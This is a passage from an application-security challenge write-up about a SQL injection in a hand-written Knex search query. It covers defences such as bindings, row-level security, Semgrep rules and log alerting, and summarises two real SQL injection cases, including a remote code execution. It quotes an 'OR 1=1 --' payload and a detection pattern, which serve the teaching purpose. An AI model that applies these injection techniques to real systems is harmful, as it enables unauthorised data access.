with PostgreSQL Row-Level Security on posts, so a single buggy query can't return someone else's private rows. 3. Ban template literals in raw SQL with a lint or SAST rule, e.g. a custom Semgrep rule matching ` knex.raw(...${$X}...) and whereRaw(...${$X}...) ` in CI. In the video, Semgrep's default rules didn't flag this one, so you'd need a custom rule. 4. Cap the length of q and reject control characters. It's cheap, and it shrinks what any future bug can do. 5. Keep database errors generic (already done here), and alert on SQL syntax errors in the logs. The failed OR 1=1 -- attempts are a loud signal. --- 🌍 Real-world examples - Pre-Auth SQL Injection to RCE: Fortinet FortiWeb Fabric Connector (CVE-2025-25257) (watchTowr Labs). The researchers diffed two FortiWeb versions and found the fix had replaced a string-formatted query ("... where token='%s'") with a prepared statement. The input came from the Authorization: Bearer header on an endpoint that needs no login. Like Blogger's double insertion, the obvious payloads didn't work at first (no spaces, 128-character limit), so they adapted. Because the database ran with high privileges, they wrote a file to disk and got remote code execution. - Bypassing airport security via SQL injection (Ian Carroll & Sam Curry). A single ' in the FlyCASS login form returned a MySQL error. They confirmed the injection with sqlmap, logged in as an airline admin and added a made-up crew member who was approved for the programs that let crew skip airport security screening. It's a different query, with the same root cause: user input pasted into a SQL string. 📚 More resources - OWASP SQL Injection Prevention Cheat Sheet - OWASP Query Parameterization Cheat Sheet - Knex: raw queries & bindings - PostgreSQL: Row Security Policies - sqlmap and its usage wiki - PortSwigger Web Security Academy: SQL injection and Blind SQL injection --- 🎯 Takeaway A query builder doesn't make an app injection-proof. It only protects the queries that go through it. Blogger had dozens of safe queries and one hand-written search query, and that one was enough to read the whole database. Find the escape hatches (raw, whereRaw, orderByRaw) and check that every value in them is a binding. And when an injection "only errors", don't call it safe. Here the obvious test returned a 500, yet sqlmap turned it into a full database read without a single hand-written payload. --- 🔔 What's next Challenge #8: Employee Directory is live now. Can you find the bug before the solution drops? 👉 github.com/mohamed-osama-aboelkheir/the-secure-co… New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs. If you found the bug yourself, or took a different route to it, tell me in the comments 👇

Latest stargazers

The last 10 distinct accounts we observed this year.

Most active participants

PR, issue, comment & review events in the past year.

Packages

Scan pending.

Live mentions badge

Show how many posts mention your project in the last 30 days.

Live mentions · last 30 days